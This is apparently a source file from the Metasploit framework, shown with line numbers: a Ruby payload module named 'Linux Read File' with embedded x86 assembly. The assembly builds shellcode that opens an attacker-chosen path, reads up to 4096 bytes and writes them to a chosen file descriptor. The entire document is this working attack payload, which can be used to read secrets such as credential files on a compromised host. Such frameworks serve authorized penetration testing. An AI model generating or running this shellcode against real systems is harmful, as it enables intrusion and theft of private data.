Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7

8
  CachedSize = 63
9

10
  include Msf::Payload::Single
11
  include Msf::Payload::Linux
12

13
  def initialize(info = {})
14
    super(merge_info(info,
15
      'Name'          => 'Linux Read File',
16
      'Version'       => '',
17
      'Description'   => 'Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor',
18
      'Author'        => 'hal',
19
      'License'       => MSF_LICENSE,
20
      'Platform'      => 'linux',
21
      'Arch'          => ARCH_X86))
22

23
    # Register exec options
24
    register_options(
25
      [
26
        OptString.new('PATH',   [ true,  "The file path to read" ]),
27
        OptString.new('FD',     [ true,  "The file descriptor to write output to", 1 ]),
28
      ])
29
  end
30

31
  def generate(opts={})
32
    fd = datastore['FD']
33

34
    payload_data =<<-EOS
35
      jmp file
36

37
      open:
38
        mov eax,0x5       ; open() syscall
39
        pop ebx           ; Holds the filename
40
        xor ecx,ecx       ; Open for reading (0)
41
        int 0x80
42

43
      read:
44
        mov ebx,eax       ; Store the open fd
45
        mov eax,0x3       ; read() syscall
46
        mov edi,esp       ; We're just going to save on the stack
47
        mov ecx,edi       ; Save at edi
48
        mov edx,0x1000    ; Read as much as we can
49
        int 0x80
50

51
      write:
52
        mov edx,eax       ; Number of bytes to write
53
        mov eax,0x4       ; write() system call
54
        mov ebx,#{fd}     ; fd to write to
55
        int 0x80
56

57
      exit:
58
        mov eax,0x1       ; exit() system call
59
        mov ebx,0x0       ; return 0
60
        int 0x80
61

62
      file:
63
        call open
64
        db "#{datastore['PATH']}", 0x00
65
    EOS
66

67
    Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string
68
  end
69
end
70

71